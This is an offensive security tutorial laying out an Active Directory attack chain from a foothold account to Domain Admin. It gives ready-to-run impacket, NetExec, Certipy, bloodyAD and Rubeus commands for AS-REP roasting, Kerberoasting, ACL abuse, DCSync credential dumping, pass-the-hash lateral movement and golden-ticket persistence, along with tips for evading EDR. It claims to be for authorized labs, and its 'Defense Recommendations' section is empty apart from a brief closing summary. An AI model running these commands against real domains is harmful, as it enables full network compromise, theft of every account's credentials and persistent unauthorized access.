Active Directory Attack Paths: Foothold to Domain Admin

Introduction

Active Directory is the backbone of most enterprise networks, and the path from a single low-privileged account to Domain Admin is often surprisingly short. This article walks the most reliable chain end to end, with commands verified against current tooling — impacket, NetExec, Certipy, bloodyAD — plus the Windows (Rubeus) equivalents.

foothold creds ─▶ enumerate (BloodHound) ─▶ roast (AS-REP / Kerberoast) ─▶ crack
       │                                                                     │
       └──────────────▶ ACL abuse / AD CS / delegation ◀────────────────────┘
                                   │
                                   ▼
                       DCSync ─▶ Domain Admin ─▶ golden ticket (persistence)

We'll cover AS-REP roasting, Kerberoasting, BloodHound path-finding, ACL abuse (shadow credentials + DCSync rights), DCSync, lateral movement, and golden-ticket persistence — with detection signals at the end.

Scope. Everything below is for authorized engagements / labs (HTB, CTF, your own range). Reference syntax lives in the cheat sheets: Impacket, NetExec, Certipy, Kerberos.

Prerequisites

A low-privileged domain user (or even just a username list) and network reach to a Domain Controller. Tooling:

• impacket + NetExec (nxc) — remote AD attacks from Linux
• Certipy / bloodyAD / pywhisker — AD CS + ACL abuse
• BloodHound CE + SharpHound / bloodhound-python — path mapping
• Rubeus / Mimikatz — the Windows-side equivalents
• hashcat — offline cracking

Clock skew gotcha. Kerberos rejects requests skewed more than 5 minutes from the DC (KRB_AP_ERR_SKEW). Sync first: sudo ntpdate -u <dc-ip> (or wrap a tool in faketime). This single step fixes most "it should work but doesn't" Kerberos failures.

Step 1: AS-REP Roasting

AS-REP roasting targets accounts with Kerberos pre-authentication disabled — they hand out an AS-REP encrypted with the user's key, crackable offline. No credentials are required if you have a username list.

# No creds — spray a username list
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.hashes

# With creds — pull every pre-auth-disabled account
impacket-GetNPUsers domain.local/user:'Password123' -request -format hashcat -dc-ip 10.10.10.10

# NetExec equivalent
nxc ldap 10.10.10.10 -u user -p 'Password123' --asreproast asrep.hashes

# Windows / Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes

Crack offline (mode 18200 = AS-REP):

hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt

Note: even one cracked account can unlock the whole chain if it has interesting ACLs — which is exactly what BloodHound tells you next.

Step 2: BloodHound Enumeration

With any valid credentials, collect graph data and let BloodHound find the paths a human would miss. See the dedicated BloodHound Cypher cheat sheet for collection options and queries.

# Remote collection from Linux (no agent on target)
bloodhound-python -u user -p 'Password123' -d domain.local -ns 10.10.10.10 -c All --zip

# Or quick collection via NetExec
nxc ldap 10.10.10.10 -u user -p 'Password123' --bloodhound --collection All --dns-server 10.10.10.10

Upload the ZIP, mark your owned user, then run:

• Shortest Paths to Domain Admins
• Find Principals with DCSync Rights
• Find Kerberoastable / AS-REP Roastable Users

Step 3: Kerberoasting

Kerberoasting requests TGS tickets for accounts with a Service Principal Name (SPN) and cracks them offline — service accounts often have weak, never-rotated passwords.

# List SPN accounts, then request the tickets
impacket-GetUserSPNs domain.local/user:'Password123' -dc-ip 10.10.10.10
impacket-GetUserSPNs domain.local/user:'Password123' -dc-ip 10.10.10.10 -request -outputfile kerb.hashes

# NetExec equivalent
nxc ldap 10.10.10.10 -u user -p 'Password123' --kerberoasting kerb.hashes

# Windows / Rubeus
Rubeus.exe kerberoast /outfile:kerb.hashes

Crack offline (mode 13100 = TGS-REP):

hashcat -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt

Step 4: ACL Abuse

BloodHound frequently reveals that your account holds GenericAll, GenericWrite, WriteDacl, or ForceChangePassword over a more privileged object. Two of the most reliable abuses:

GenericWrite / GenericAll → Shadow Credentials

If the target supports it (and the domain has AD CS / Key Trust), write a Key Credential and authenticate as the target — no password reset needed, so it's quieter and reversible.

# Certipy (auto handles add → auth → cleanup)
certipy shadow auto -u user@domain.local -p 'Password123' -account target_user -dc-ip 10.10.10.10

# pywhisker (just adds the KeyCredentialLink)
pywhisker -d domain.local -u user -p 'Password123' --target target_user --action add

WriteDacl / GenericAll on the domain → DCSync rights

Grant your account the replication rights that make DCSync possible:

# bloodyAD — clean, cross-platform
bloodyAD --host dc01.domain.local -d domain.local -u user -p 'Password123' add dcsync user

# impacket dacledit equivalent
impacket-dacledit -action write -rights DCSync -principal user \
  -target-dn 'DC=domain,DC=local' domain.local/user:'Password123'

# Windows / PowerView
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity user -Rights DCSync

Other paths to the same goal. AD CS misconfigurations (ESC1–ESC16) and Kerberos delegation are often faster than ACL chains — see AD CS / ESC attacks and RBCD. A quick AD CS triage: certipy find -u user -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout.

Step 5: DCSync

With replication rights, pull the NTLM hashes of every account — including krbtgt (needed for golden tickets) and administrator:

# Every account's NTLM hash
impacket-secretsdump domain.local/user:'Password123'@dc01.domain.local -just-dc-ntlm

# Just the krbtgt hash (for the golden ticket below)
impacket-secretsdump domain.local/user:'Password123'@dc01.domain.local -just-dc-user krbtgt

# NetExec equivalent
nxc smb 10.10.10.10 -u user -p 'Password123' -M ntdsutil

Step 6: Domain Admin — Lateral Movement

Use the administrator hash (no cracking needed — pass the hash):

# Validate + spray the hash across the domain
nxc smb 10.10.10.0/24 -u administrator -H <NTLM_HASH>

# Interactive shells
impacket-psexec -hashes :<NTLM_HASH> administrator@10.10.10.10      # noisy (service install)
impacket-wmiexec -hashes :<NTLM_HASH> administrator@10.10.10.10     # quieter, preferred
evil-winrm -i 10.10.10.10 -u administrator -H <NTLM_HASH>           # if WinRM is open

OPSEC: psexec drops a service and frequently trips EDR/AV (STATUS_PIPE_BROKEN when blocked). Prefer wmiexec or atexec. Pass-the-hash over SMB is a logon type 3 event — see detection below.

Step 7: Persistence — Golden Ticket

With the krbtgt hash and the domain SID you can forge TGTs for any user, valid until krbtgt is rotated twice:

# Forge a TGT for "administrator"
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain domain.local administrator

# Use it
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local

Server 2016+ gotcha. RC4 golden tickets can fail with KDC_ERR_TGT_REVOKED. Forge with the AES256 key instead (-aesKey <KRBTGT_AES256>) and include -extra-pac — this is the reliable variant on modern DCs.

Defense Recommendations

Conclusion

The route from foothold to Domain Admin usually follows the same handful of patterns: roast for offline cracks, let BloodHound expose an ACL or delegation edge, escalate to DCSync, then forge for persistence. Defensively, the highest-leverage moves are enforcing Kerberos pre-auth, killing RC4, isolating tier-0 assets, restricting replication rights, and running regular BloodHound assessments against your own domain before an attacker does.

Related: BloodHound Cypher queries · AD CS / ESC attacks · Certipy · NetExec · Impacket